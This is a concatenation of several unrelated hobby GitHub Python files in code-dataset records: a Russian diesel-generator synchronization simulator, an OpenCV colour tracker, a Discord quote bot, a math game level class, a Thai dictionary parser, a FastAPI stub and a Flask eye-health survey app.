abs(cfg['U_RMS']) * np.sqrt(2)\n phi0 = random.randint(cfg['phi0_min'], cfg['phi0_max'])\n f_max = cfg['f_max']\n f_min = cfg['f_min']\n seed_value = cfg['RNG_seed']\n f_control = cfg['control']\n enable_fill = cfg['enable_fill']\n except FileNotFoundError:\n print('Файл \"config.yaml\" в текущей директории не обнаружен')\n input(farewell_msg)\n exit()\n except KeyError:\n print('Ошибочный ключ. Рекомендуется вернуться к предыдущей версии файла \"config.yaml\"')\n input(farewell_msg)\n exit()\n except AssertionError as e:\n print(f'Ошибка конфигурации: {e}')\n input(farewell_msg)\n exit()\n\n\nclass DieselGenerator:\n \"\"\" Базовый класс, представляющий генератор \"\"\"\n x_axis = Config.x_meshgrid\n\n def __init__(self, ampl: float, freq: float, phase: float):\n \"\"\"\n :param ampl: амплитуда выходного напряжения (В)\n :param freq: частота в начале симуляции (Гц)\n :param phase: начальная фаза (град.)\n \"\"\"\n self.amplitude = ampl\n self.frequency = freq\n self.phase_0 = phase * np.pi / 180 # перевод фазы в радианы\n self.instant = 0.0 # мгновенное значение напряжения\n self.__is_positive: bool = True # флаг полярности напряжения в данный момент времени\n self.zero_transition: bool = False # флаг перехода минус-плюс в данный момент времени\n self.zero_transition_times = deque([], maxlen=2) # хранение последнего и пред. моментов перехода минус-плюс\n self.u = [] # список мгновенных значений напряжения генератора\n self.__section_t: float = 0.0 # локальное время текущей части синусоиды (для расчета после скачка)\n self.frequency_changed: bool = False\n self.previous_f = freq # значение частоты напряжения ДГА в предыдущий момент времени\n\n def calc_instant(self, global_time: float):\n \"\"\"\n Вычисляет мгновенное значение напряжения на данной отметке времени\n :param global_time: текущая временная отметка\n \"\"\"\n\n if self.frequency_changed:\n self.phase_0 = 2 * np.pi * self.previous_f * self.__section_t + self.phase_0\n self.__section_t = 0.0\n\n # округление, т.к. проблема точности вычисления float иногда приводит к числам в -16 степени вместо 0\n self.instant = self.amplitude * np.sin(2 * np.pi * self.frequency * self.__section_t + self.phase_0).round(10)\n\n self.__section_t += Config.step\n self.__catch_zero_transition(global_time)\n self.u.append(self.instant)\n\n def __catch_zero_transition(self, t: float):\n \"\"\" Устанавливает флаги для отслеживания переходов минус-плюс синусоиды \"\"\"\n\n self.zero_transition = (not self.__is_positive) and self.instant >= 0\n self.__is_positive = self.instant >= 0\n\n # Сохранение времени перехода через 0\n if self.zero_transition:\n if len(self.zero_transition_times) == 2:\n self.zero_transition_times.popleft()\n self.zero_transition_times.append(t)\n\n\nclass WorkingDGA(DieselGenerator):\n \"\"\" Представляет работающий нагруженный генератор \"\"\"\n\n def __init__(self, ampl: float, freq: float, phase: float):\n super().__init__(ampl, freq, phase)\n self.__deltas_freq = Config.frequency_jump_values\n self.__event_durations = Config.frequency_jump_durations\n self.__event_list: list[Event] = [] # список активных скачков частоты\n self.__jump: bool = False # флаг скачкообразного изменения частоты в данный момент времени\n self.calculated_frequency = Config.utility_frequency\n self.f1_rand = [] # значения случайно генерируемой частоты напряжения ДГА1\n self.f1_calc = [] # значения рассчитываемой частоты напряжения ДГА1\n\n def generate_frequency(self, global_time: float):\n \"\"\" Генерация случайно (скачками) изменяющейся частоты \"\"\"\n\n self.previous_f = self.frequency # сохранение предыдущего значения частоты\n\n # Определение самого факта скачка частоты\n jump = random.choices([True, False], weights=[1, 1 / Config.jump_probability])[0]\n\n # Определение списков завершающихся и еще активных скачков\n ended_events: list[Event] = [item for item in self.__event_list if item.end_t == global_time]\n self.__event_list = [item for item in self.__event_list if item.end_t != global_time]\n\n # Завершение скачков\n for item in ended_events:\n self.frequency -= item.delta_f\n\n if jump:\n # Определение параметров скачка частоты (чем сильнее скачок - тем меньше его вероятность)\n weights = (Config.f_jump_max + 0.1 - abs(self.__deltas_freq)) * 10\n delta_f = random.choices(self.__deltas_freq, weights=weights)[0]\n event = Event(delta_f=delta_f, end_t=global_time + random.choice(self.__event_durations))\n self.__event_list.append(event)\n self.frequency += event.delta_f\n\n # Ограничение частоты\n if self.frequency > Config.f_max:\n self.frequency = Config.f_max\n elif self.frequency < Config.f_min:\n self.frequency = Config.f_min\n\n # Выявление факта изменения частоты\n jump_back = True if ended_events else False\n self.__jump = jump or jump_back\n self.frequency_changed = True if self.__jump else False\n\n self.f1_rand.append(self.frequency)\n\n def calculate_frequency(self):\n \"\"\" Расчет частоты f1 по переходам через 0 \"\"\"\n # Частота f1 рассчитывается только в моменты перехода синусоиды минус-плюс\n # иначе - берется равной предыдущему рассчитанному значению\n if all([self.zero_transition,\n len(self.zero_transition_times) == 2]):\n self.calculated_frequency = 1 / (self.zero_transition_times[1] - self.zero_transition_times[0])\n self.calculated_frequency = round(self.calculated_frequency, 1)\n else:\n try:\n self.calculated_frequency = self.f1_calc[-1]\n except IndexError:\n self.calculated_frequency = Config.utility_frequency\n\n self.f1_calc.append(self.calculated_frequency)\n\n\nclass StartingDGA(DieselGenerator):\n \"\"\" Представляет запускаемый генератор, синхронизируемый с работающим \"\"\"\n\n def __init__(self, ampl: float, freq: float, phase: float):\n super().__init__(ampl, freq, phase)\n self.f2_calc = [] # значения частоты напряжения ДГА2\n self.d_phi = - Config.phi0\n self.phase_shifts = [] # сдвиги фаз ДГА2 относительно ДГА1\n self.__deflection = Deflection(delta_f=0, end_t=0) # отклонения частоты ДГА2 с целью регулировки сдвига\n self.synchronized: bool = False # флаг состояния системы\n self.synchro_time = Config.sim_time\n\n def calculate_deflection(self, global_t: float):\n \"\"\" Расчет отклонения частоты f2 для достижения синхронизации \"\"\"\n k = 0.0285 # экспериментально полученный коэффициент для расчета времени отклонения f2\n if 0 <= self.d_phi <= 180:\n delta_f = 0.1\n end_t = self.d_phi * k + global_t\n else:\n delta_f = -0.1\n end_t = -self.d_phi * k + global_t\n self.__deflection = Deflection(delta_f=delta_f, end_t=round(end_t, 2))\n tqdm.write(\n f'\\nРегулирование сдвига: {round(self.d_phi, 1)}°\\t|\\tВводится отклонение f2: {self.__deflection.delta_f} '\n f'Гц до момента времени: {self.__deflection.end_t} с\\n{\"-\" * 100}')\n\n def calculate_frequency(self, w_dga: WorkingDGA, current_time: float):\n \"\"\" Рассчитывает частоту f2 в данный момент времени \"\"\"\n\n self.previous_f = self.frequency # сохранение предыдущего значения частоты\n\n if current_time == self.__deflection.end_t:\n self.__deflection = Deflection(0, self.__deflection.end_t) # обнуление отклонения, f2 --> f1\n\n if all([not self.synchronized,\n current_time >= self.__deflection.end_t + 0.1,\n self.__deflection.delta_f == 0,\n Config.f_control]):\n # если синхронизация не наступила и регулировки в данный момент нет - снова регулируем f2\n self.calculate_deflection(current_time)\n\n try:\n if self.synchronized:\n # после наступления синхронизации частота f2 изменяется синхронно с f1\n self.frequency = w_dga.frequency\n else:\n self.frequency = w_dga.f1_calc[-50] + self.__deflection.delta_f\n except IndexError:\n self.frequency = Config.utility_frequency\n\n self.frequency_changed = self.previous_f != self.frequency\n self.f2_calc.append(self.frequency)\n\n def calculate_phase_shift(self, w_dga: WorkingDGA, current_time: float):\n \"\"\" Рассчитывает текущий фазовый сдвиг между ДГА1 и ДГА2 \"\"\"\n\n if all([self.zero_transition,\n len(self.zero_transition_times) == 2]):\n period = self.zero_transition_times[1] - self.zero_transition_times[0]\n shift = self.zero_transition_times[1] - w_dga.zero_transition_times[1]\n self.d_phi = 2 * np.pi * shift / period\n self.d_phi = self.d_phi * 180 / np.pi\n else:\n try:\n self.d_phi = self.phase_shifts[-1]\n except IndexError:\n self.d_phi = Config.phi0\n\n self.d_phi = self.convert_angle(self.d_phi)\n self.phase_shifts.append(self.d_phi)\n if all([isclose(w_dga.calculated_frequency, self.frequency, rel_tol=3e-05),\n -0.3 < self.d_phi < 0.3,\n not self.synchronized]):\n self.synchronized = True\n tqdm.write(f'\\nСИНХРОНИЗИРОВАНО. Коммутация в {round(current_time, 2)} с')\n self.synchro_time = current_time\n\n @staticmethod\n def convert_angle(angle: float):\n \"\"\" Конвертация угла фазового сдвига из диапазона (0:360°) в (-180:180°) \"\"\"\n if angle > 180.0:\n return angle - 360\n else:\n return angle\n\n\ndef main():\n start = datetime.now()\n\n f_01 = random.choice(np.arange(-0.4, 0.5, 0.1)) + Config.utility_frequency # Значение частоты ДГА1 в момент t0\n dga1 = WorkingDGA(ampl=Config.amplitude, freq=f_01, phase=Config.phi0)\n dga2 = StartingDGA(ampl=Config.amplitude, freq=Config.utility_frequency, phase=0)\n\n tqdm.write(f'\\nВремя симуляции: {Config.sim_time} с')\n tqdm.write(f'Регулирование фазового сдвига: {\"да\" if Config.f_control else \"нет\"}')\n tqdm.write(f'φ0 ДГА1 = {StartingDGA.convert_angle(Config.phi0)}°')\n\n for global_t in tqdm(DieselGenerator.x_axis, desc='Симуляция', ncols=100):\n dga1.generate_frequency(global_t) # генерация случайной частоты ДГА1\n dga1.calc_instant(global_time=global_t) # расчет u1\n dga1.calculate_frequency() # расчет частоты ДГА1\n dga2.calculate_frequency(dga1, global_t) # расчет частоты ДГА2\n dga2.calc_instant(global_time=global_t) # расчет u2\n dga2.calculate_phase_shift(dga1, global_t) # расчет фазового сдвига между ДГА2 и ДГА1\n\n if not dga2.synchronized:\n tqdm.write(f'За {Config.sim_time} с синхронизация НЕ наступила.')\n tqdm.write(f'{\"_\" * 100}\\nРасчеты заняли {(datetime.now() - start).seconds} с')\n\n dga1.f1_calc = np.array(dga1.f1_calc, dtype='float32')\n dga2.f2_calc = np.array(dga2.f2_calc, dtype='float32')\n dga1.f1_rand = np.array(dga1.f1_rand, dtype='float32')\n dga1.u = np.array(dga1.u, dtype='float32')\n dga2.u = np.array(dga2.u, dtype='float32')\n dga2.phase_shifts = np.array(dga2.phase_shifts, dtype='float32')\n\n # Инициализация графиков и координатных сеток\n fig1: Figure = plt.figure(figsize=(7, 4), facecolor='#D3D3D3')\n ax1: Axes = fig1.add_subplot(211)\n ax2: Axes = fig1.add_subplot(212)\n fig2: Figure = plt.figure(figsize=(7, 4), facecolor='#D3D3D3')\n ax3: Axes = fig2.add_subplot(211)\n ax4: Axes = fig2.add_subplot(212)\n\n # Построение графиков\n for ax in [ax1, ax3]:\n ax.plot(DieselGenerator.x_axis, dga1.f1_calc, '--', label='f1 рассчитанная', color='#B22222')\n ax.plot(DieselGenerator.x_axis, dga2.f2_calc, label='f2', color='#32CD32')\n ax.plot(DieselGenerator.x_axis, dga1.f1_rand, label='f1 сгенерированная', alpha=0.45, color='#00008B')\n ax2.plot(DieselGenerator.x_axis, dga1.u, '--', label='u ДГА1', color='#FF4500')\n ax2.plot(DieselGenerator.x_axis, dga2.u, label='u ДГА2', alpha=0.5, color='#32CD32')\n ax4.plot(DieselGenerator.x_axis, dga2.phase_shifts, label='Δφ', color='#4682B4')\n\n # Установка границ\n ax2.set_ylim(-200 * Config.amplitude, 200 * Config.amplitude)\n ax4.set_ylim(-180, 180)\n for ax in [ax1, ax2, ax3, ax4]:\n ax.set_xlim(0, Config.sim_time)\n\n # Сетка, легенда, подписи осей\n for ax in [ax1, ax2, ax3, ax4]:\n ax.grid()\n ax.legend(facecolor='#D3D3D3', edgecolor='#000000', loc='best')\n\n ax1.set_xlabel('t, с', size=16)\n ax1.set_ylabel('f, Гц', rotation='horizontal', ha='right', size=16)\n ax2.set_xlabel('t, с', size=16)\n ax2.set_ylabel('u, В', rotation='horizontal', ha='right', size=16)\n ax3.set_xlabel('t, с', size=16)\n ax3.set_ylabel('f, Гц', rotation='horizontal', ha='right', size=16)\n ax4.set_xlabel('t, с', size=16)\n ax4.set_ylabel('Δφ, °', rotation='horizontal', ha='right', size=16)\n\n # Отрисовка линии в момент синхронизации\n for ax in [ax1, ax2, ax3, ax4]:\n ax.axvline(x=dga2.synchro_time, color='#000000', alpha=0.3, linestyle='--')\n\n if Config.enable_fill:\n # Заливка областей до и после синхронизации\n for ax in [ax1, ax2, ax3, ax4]:\n ax.axvspan(xmin=0, xmax=dga2.synchro_time, color='#8B0000', alpha=0.1)\n ax.axvspan(xmin=dga2.synchro_time, xmax=Config.sim_time, color='#006400', alpha=0.1)\n\n ax3.fill_between(DieselGenerator.x_axis, dga2.f2_calc, dga1.f1_calc,\n color='#DCDCDC', alpha=0.65, where=(DieselGenerator.x_axis < dga2.synchro_time))\n\n # Произвольный текст на графике\n ax2.text(-2.5, -Config.amplitude * 50, f'φ0 ДГА1 = {StartingDGA.convert_angle(Config.phi0)}°')\n ax4.text(-2.5, -30, f'φ0 ДГА1 = {StartingDGA.convert_angle(Config.phi0)}°')\n\n # Настройка меток осей\n ax2.yaxis.set_major_locator(FixedLocator([-Config.amplitude, 0, Config.amplitude]))\n\n plt.show()\n input(Config.farewell_msg)\n\n\nif __name__ == '__main__':\n random.seed(Config.seed_value)\n main()\n","repo_name":"ysaron/DG-synchro","sub_path":"algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":22049,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20017560569","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 12 14:37:10 2017\r\n\r\n@author: Emily\r\n\"\"\"\r\n# Edited from the opencv tutorials\r\n# Turn on camera and import numpy, opencv\r\nimport numpy as np\r\nimport cv2\r\n\r\n\r\ncap = cv2.VideoCapture(0)\r\n\r\n# Track a colour\r\nwhile(1):\r\n # Take each frame\r\n _, frame = cap.read()\r\n # Convert each video frame from BGR to HSV colour\r\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\r\n\r\n # define blue colour range (HSV)\r\n lower_blue = np.array([110,50,50])\r\n upper_blue = np.array([130,255,255])\r\n \r\n # Mask the HSV image to get only blue colors\r\n mask = cv2.inRange(hsv, lower_blue, upper_blue)\r\n\r\n # Bitwise-AND mask and original image ----- find out what bitwise is?\r\n res = cv2.bitwise_and(frame,frame, mask= mask)\r\n \r\n cv2.imshow('frame',frame)\r\n cv2.imshow('mask',mask)\r\n cv2.imshow('res',res)\r\n\r\n \r\n# press 'esc' to close all\r\n k = cv2.waitKey(5) & 0xFF\r\n if k == 27:\r\n break\r\n\r\n# When everything done, close everything\r\n# cap.release()\r\ncv2.destroyAllWindows()","repo_name":"EmilyDowling/DroneOpencv","sub_path":"Basic.py","file_name":"Basic.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31796145135","text":"from discord.ext import commands\nimport aiohttp\n\nclass Inspire(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def inspire(self, ctx):\n \"\"\"Get inspiration quotes.\"\"\"\n async with aiohttp.ClientSession() as session:\n async with session.get(\"https://api.quotable.io/random\") as q:\n js = await q.json()\n await ctx.send(f'{js[\"content\"]}\\n- {js[\"author\"]}')\n\n @commands.command()\n async def inspire2(self, ctx):\n \"\"\"Get anime quotes.\"\"\"\n async with aiohttp.ClientSession() as session:\n async with session.get(\"https://animechan.vercel.app/api/random\") as q:\n js = await q.json()\n await ctx.send(f'{js[\"quote\"]}\\n- {js[\"anime\"]}')\n\ndef setup(bot):\n bot.add_cog(Inspire(bot))","repo_name":"eternityyxb/Discord-Bot","sub_path":"cogs/inspirecog.py","file_name":"inspirecog.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73863360748","text":"class Level: \n def __init__(self, number, startText, endText, operations, numbers, goal, type, twoD):\n self.number = number\n self.startText = startText\n self.endText = endText\n self.operations = operations\n self.numbers = numbers\n self.goal = goal\n self.type = type\n self.twoD = twoD\n\n def __str__(self):\n output = \"Level {0}:\\n{1}\\nValid Operations: \".format(self.number, self.startText)\n for i in range(0, len(self.operations)):\n output += self.operations[i] + \" \"\n output += \"\\nGiven Numbers: \"\n for i in range(0, len(self.numbers)):\n output += self.numbers[i] + \" \"\n output += \"\\nGoal: ({0}, {1})\".format(self.goal[\"x\"], self.goal[\"y\"])\n output += \"\\n\" + self.endText\n output += \"\\Type: \" + self.type\n return output\n\n def from_json(json_dct):\n return Level(json_dct['number'], json_dct['start_text'], json_dct['end_text'],\n json_dct['operations'], json_dct['numbers'],\n json_dct['goal'], json_dct['type'], json_dct['two_d'])","repo_name":"EvanMcRae/Math-Minigolf","sub_path":"level.py","file_name":"level.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15066010407","text":"# -*- coding: utf-8 -*-\nimport lxml.html, os, codecs\n\n\nclass Word:\n def __init__(self, root=None):\n try:\n self.thaiword = root.xpath('./td[@class=\"th\"]')[0].text_content()\n except:\n self.thaiword = 'NO'\n try:\n self.pos = root.xpath('./td[@class=\"pos\"]')[0].text_content().split(', ')\n except:\n self.pos = [\"\"]\n if self.thaiword != 'NO':\n self.translit = root.xpath('./td')[1].text_content()\n else:\n self.translit = 'NO'\n try:\n self.translation = root.xpath('./td')[-1].text_content()\n except:\n self.translation = 'NO'\n\n def __gt__(self, other):\n return self.thaiword > other.thaiword\n\n def __lt__(self, other):\n return self.thaiword < other.thaiword\n\n def posmerge(self):\n changedict = {\n 'ADJ': 'adjective',\n 'adj': 'adjective',\n 'N': 'noun',\n '์N': 'noun',\n '์์N': 'noun',\n 'ืN': 'noun',\n 'V': 'verb',\n '์V': 'verb',\n 'VI': 'verb, intransitive',\n 'VT': 'verb, transitive',\n 'ADV': 'adverb',\n 'AVD': 'adverb',\n 'PRON': 'pronoun',\n 'AUX': 'auxiliary verb',\n 'IDM': 'idiom',\n 'ABBR': 'abbreviation',\n 'INT': 'interjection',\n 'CONJ': 'conjunction',\n 'CLAS': 'classifier',\n 'PREP': 'preposition',\n 'PREF': 'prefix',\n 'ADV V': 'adverb, verb'\n }\n for i in self.pos:\n if i in changedict:\n if i == 'VI' or i == 'VT' or i=='ADV V':\n self.pos.extend(changedict[i].split(', '))\n else:\n self.pos.append(changedict[i])\n self.pos.remove(i)\n return self\n\n\ndef readdict():\n arrwords = []\n for root2, dirs, files in os.walk('thai_dict'):\n for file in files:\n f = codecs.open(os.path.join(root2, file), \"r\", \"utf-8\")\n f = f.read()\n root = lxml.html.fromstring(f)\n words = root.xpath('//table[@class=\"gridtable\"]/tr')\n words = words[1:-1]\n for i in words:\n arrwords.append(Word(i))\n return arrwords\n\n\ndef deletedubs(arr):\n arr2 = []\n for i in arr:\n if i not in arr2:\n arr2.append(i)\n return arr2\n\n\ndef yaitron():\n import lxml.etree\n final_arr = []\n dict = codecs.open('yaitron.xml', 'r', 'utf-8')\n dict = dict.read()\n root = lxml.etree.fromstring(dict)\n words = root.xpath(\"//entry[@lang='tha']\")\n for word in words:\n i = Word()\n i.pos = [word.xpath('./pos')[0].text]\n i.thaiword = word.xpath('./headword')[0].text\n i.translit = 'NO'\n i.translation = word.xpath('./translation')[0].text\n final_arr.append(i)\n i = None\n words = root.xpath(\"//entry[@lang='eng']\")\n for word in words:\n i = Word()\n try:\n i.pos = word.xpath('./pos')[0].text.split(', ')\n except:\n i.pos = [\"\"]\n i.translation = word.xpath('./headword')[0].text\n i.translit = ''\n i.thaiword = word.xpath('./translation')[0].text\n i = i.posmerge()\n final_arr.append(i)\n i = None\n return final_arr\n\n\ndef writedict(arr):\n import json\n f = codecs.open('slovar5.json', 'w', 'utf-8')\n d = {} # финальный словарь\n subd = [] # служебный массив\n subd2 = {} # служебный словарь\n arr.sort() # сортировка по тайским словам\n for i in arr:\n subd2[i] = [i.translation, i.pos,\n i.translit] # делаем служебный словарь: каждому объекту ставим в соответствие перевод, часть речи и транслит\n subd.append(\n [i.translation, i.pos, i.translit]) # делаем служебный массив значений, отсортированный по тайским словам\n keyss = [i.thaiword for i in arr]\n keyss = list(set(keyss))\n keyss.sort() # отсортированный массив тайских слов\n count2 = 0\n for i in keyss:\n c = 1\n d[i] = {}\n for n in arr[count2::]:\n if i == n.thaiword:\n d[i][c] = [n.translation, n.pos, n.translit]\n c += 1\n else:\n count2 = arr.index(n)\n break\n json.dump(d, f, ensure_ascii=False, indent=2)\n f.close()\n\n\ndef main():\n arrwords = readdict()\n final_arr = yaitron()\n final_arr.extend(arrwords)\n for i in final_arr:\n if i.thaiword == \"NO\":\n i.thaiword = final_arr[final_arr.index(i) - 1].thaiword\n i.translit = final_arr[final_arr.index(i) - 1].translit\n final_arr = set(final_arr)\n final_arr = list(final_arr)\n final_arr.sort()\n writedict(final_arr)\n return final_arr\n\n\nmain()\n","repo_name":"nevmenandr/thai-language","sub_path":"parse-dictionary/parsedict.py","file_name":"parsedict.py","file_ext":"py","file_size_in_byte":5091,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"37"} +{"seq_id":"13414476743","text":"import uvicorn\nfrom fastapi import FastAPI\nfrom update import post\napp = FastAPI()\n\n\n@app.get(\"/\")\nasync def root():\n return {\"message\": f'''asuasas'''}\n\n\n@app.post(\"/update\")\nasync def update():\n pid = post()\n return \"Hello World!\" + pid\n\n\nif __name__ == \"__main__\":\n uvicorn.run(\"main:app\", host=\"0.0.0.0\", port=8000, log_level=\"info\")\n","repo_name":"rizoadev/jossapp","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41656149310","text":"from flask import Flask # do aplikacji\nfrom flask import render_template, request, redirect, url_for, flash # do aplikacji\nfrom flask_sqlalchemy import SQLAlchemy # do bazy danych\nimport data as d\nimport statistic_data as sd\n\napp = Flask(__name__)\n\n# instancja bazy\nSQLALCHEMY_DATABASE_URI = \"mysql+mysqlconnector://PatrycjaRAIM:projektbaza@PatrycjaRAIM.mysql.pythonanywhere-services.com/PatrycjaRAIM$odpowiedziCVS\".format(\n username=\"the username from the 'Databases' tab\",\n password=\"the password you set on the 'Databases' tab\",\n hostname=\"the database host address from the 'Databases' tab\",\n databasename=\"the database name you chose, probably yourusername$odpowiedziCVS\",\n)\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = SQLALCHEMY_DATABASE_URI\napp.config[\"SQLALCHEMY_POOL_RECYCLE\"] = 299\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n\ndb = SQLAlchemy(app)\n\n# konfiguracja aplikacji\napp.config.update(dict(\n SECRET_KEY='bradzosekretnawartosc',\n))\n\nfrom models import odczyt_bazy, zapis_bazy, odczyt_indywidualny\n\n@app.route('/end')\ndef end():\n #wywołanie formularza strony\n return render_template('end.html')\n\n@app.route('/statistic', methods=['GET','POST'])\ndef statistic():\n dane_plec, dane_wyksztalcenie, dane_wiedza, dane_problemy, dane_wiek, dane_pogorszenie, dane_przerwa, dane_czas, dane_choroba, dane_samopoczucie, dane_urzadzenia, urzadzenia_ilosc, ilosc_respondentow = odczyt_bazy()\n #wartosci na wykres\n wartosc_wyksztalcenie = dane_wyksztalcenie\n wartosc_pogorszenie = dane_pogorszenie\n wartosc_przerwa = dane_przerwa\n wartosc_plec = dane_plec\n wartosc_wiek = dane_wiek\n wartosc_wiedza = dane_wiedza\n wartosc_problemy = dane_problemy\n wartosc_czas = dane_czas\n wartosc_choroba = dane_choroba\n wartosc_samopoczucie = dane_samopoczucie\n wartosc_urzadzenia = dane_urzadzenia\n #podpis do \"legendy\"\n legenda_bool =[\"Nie\",\"Tak\"]\n legenda_plec = d.zestaw_pytan[1]['wartosc']\n legenda_wiek = [\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"23\",\"24\",\"25\",\"26\",\"27\",\"28\",\"29\",\"30\",\"31\",\"32\",\"33\",\"34\",\"35\"]\n legenda_wyksztalcenie = d.zestaw_pytan[3]['odpowiedzi']\n legenda_wiedza = [\"0%\",\"10%\",\"20%\",\"30%\",\"40%\",\"50%\",\"60%\",\"70%\",\"80%\",\"90%\",\"100%\"]\n legenda_czas = d.zestaw_pytan[15]['odpowiedzi']\n legenda_choroba = d.zestaw_pytan[22]['odpowiedzi2']\n legenda_samopoczucie = d.zestaw_pytan[21]['odpowiedzi']\n legenda_urzadzenia = urzadzenia_ilosc\n #jezeli ktos wpisał id i przechodzi na statystyki indywidualne\n if request.method == 'POST':\n dane = request.form\n id = 0\n for nazwa, wartosc in dane.items():\n if nazwa == 'id_respondent':\n id = wartosc\n return redirect(url_for('statistic_individual', dane = id))\n return render_template('statistic.html', max=100, plec=zip(wartosc_plec, legenda_plec, d.colors),\n wiedza = zip(wartosc_wiedza, legenda_wiedza, d.colors),\n wyksztalcenie = zip(wartosc_wyksztalcenie, legenda_wyksztalcenie, d.colors),\n wiek = zip(wartosc_wiek, legenda_wiek, d.colors),\n problemy = zip(wartosc_problemy, legenda_bool, d.colors),\n pogorszenie = zip(wartosc_pogorszenie, legenda_bool, d.colors),\n przerwa = zip(wartosc_przerwa, legenda_bool, d.colors),\n czas = zip(wartosc_czas, legenda_czas, d.colors),\n choroba = zip(wartosc_choroba, legenda_choroba, d.colors),\n samopoczucie = zip(wartosc_samopoczucie, legenda_samopoczucie, d.colors),\n urzadzenia = zip(wartosc_urzadzenia, legenda_urzadzenia, d.colors))\n\n@app.route('/statistic_individual/')\ndef statistic_individual(dane):\n #pobranie danych do obliczeń procentowych i wykresów\n dane_plec, dane_wyksztalcenie, dane_wiedza, dane_problemy, dane_wiek, dane_pogorszenie, dane_przerwa, dane_czas, dane_choroba, dane_samopoczucie, dane_urzadzenia, urzadzenia_ilosc, ilosc_respondentow= odczyt_bazy()\n respondent_odp, warunki_odp, wiedza_odp, wizyta_odp, stan_oczu_odp, choroby_odp, samopoczucie_odp, ilosc_chorob, ilosc_objawow = odczyt_indywidualny(dane,ilosc_respondentow)\n legenda_bool =[\"Nie\",\"Tak\"]\n wiek_wartosci = [17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35]\n wiedza_wartosci = [0,10,20,30,40,50,60,70,80,90,100]\n urzadzenia_wartosci =[0,1,2,3,4,5,6,7,8,9,10]\n #procenty do wypisania\n plec_procenty = sd.procent_plec(respondent_odp[1], dane_plec)\n wyksztalcenie_procenty, tekst = sd.procent_wyksztalcenie(respondent_odp[2], dane_wyksztalcenie)\n wiek_procenty = sd.procent_liczby(respondent_odp[0], dane_wiek,wiek_wartosci)\n ilosc_procenty = sd.procent_liczby(warunki_odp[0], dane_urzadzenia,urzadzenia_wartosci)\n wiedza_procenty = sd.procent_liczby(wiedza_odp, dane_wiedza,wiedza_wartosci)\n czas_procenty = sd.procent_czas(warunki_odp[1], dane_czas)\n przerwy_procenty, odp_przerwa = sd.procent_bool(warunki_odp[2], dane_przerwa,0)\n pogorszenie_procenty, odp_pogorszenie = sd.procent_bool(wizyta_odp, dane_pogorszenie,0)\n stan_oczu_procenty, odp_problemy = sd.procent_bool(stan_oczu_odp, dane_problemy,1)\n objawy_procenty, odp_objawy = sd.procent_wielokrotnego(samopoczucie_odp,dane_samopoczucie, ilosc_objawow)\n choroby_procenty, odp_choroby = sd.procent_wielokrotnego(choroby_odp, dane_choroba, ilosc_chorob)\n #dane do wykresów\n wartosc_plec_id, legenda_plec_id= sd.wykres_wiele(dane_plec,respondent_odp[1],d.zestaw_pytan[1]['wartosc'],d.zestaw_pytan[1]['odpowiedzi'])\n wartosc_wiek_id, legenda_wiek_id = sd.wykres_liczby(dane_wiek,respondent_odp[0], wiek_wartosci)\n wartosc_wyksztalcenie_id, legenda_wyksztalcenie_id= sd.wykres_wiele(dane_wyksztalcenie,str(respondent_odp[2]),d.zestaw_pytan[3]['wartosc'],d.zestaw_pytan[3]['odpowiedzi'])\n wartosc_problemy_id, legenda_problemy_id = sd.wykres_dwie(dane_problemy,stan_oczu_odp,legenda_bool)\n wartosc_pogorszenie_id, legenda_pogorszenie_id= sd.wykres_dwie(dane_pogorszenie,wizyta_odp,legenda_bool)\n wartosc_przerwa_id, legenda_przerwa_id = sd.wykres_dwie(dane_przerwa,warunki_odp[2],legenda_bool)\n wartosc_wiedza_id, legenda_wiedza_id = sd.wykres_liczby(dane_wiedza,wiedza_odp,wiedza_wartosci)\n wartosc_urzadzenia_id, legenda_urzadzenia_id= sd.wykres_liczby(dane_urzadzenia,warunki_odp[0],urzadzenia_wartosci)\n wartosc_czas_id, legenda_czas_id= sd.wykres_wiele(dane_czas,warunki_odp[1],d.zestaw_pytan[15]['wartosc'],d.zestaw_pytan[15]['odpowiedzi'])\n #dodanie % do wartości wiedzy na wykresie\n for i in range(len(legenda_wiedza_id)):\n legenda_wiedza_id[i] = str(legenda_wiedza_id[i])+\"%\"\n\n return render_template('statistic_individual.html', max=100, plec_procent = plec_procenty,\n wyksztalcenie_procent = wyksztalcenie_procenty , tekst = tekst, wiek_procent = wiek_procenty,\n urzadzenia_procenty = ilosc_procenty, urzadzenie_resp = warunki_odp[0],\n wiedza_procent = wiedza_procenty, wiedza_resp = wiedza_odp,\n czas_procent = czas_procenty, czas_resp = warunki_odp[1],\n przerwy_procent = przerwy_procenty, przerwy_resp = odp_przerwa,\n pogorszenie_procent = pogorszenie_procenty, pogorszenie_resp = odp_pogorszenie,\n stan_oczu_procent = stan_oczu_procenty, problemy_resp = odp_problemy,\n objawy_procent = objawy_procenty, objawy_resp = odp_objawy,\n choroby_procent = choroby_procenty, choroby_resp = odp_choroby,\n problemy = zip(wartosc_problemy_id, legenda_problemy_id, d.colors),\n pogorszenie = zip(wartosc_pogorszenie_id, legenda_pogorszenie_id, d.colors),\n przerwa = zip(wartosc_przerwa_id, legenda_przerwa_id, d.colors),\n wiek = zip(wartosc_wiek_id, legenda_wiek_id, d.colors),\n plec=zip(wartosc_plec_id, legenda_plec_id, d.colors),\n wiedza = zip(wartosc_wiedza_id, legenda_wiedza_id, d.colors),\n 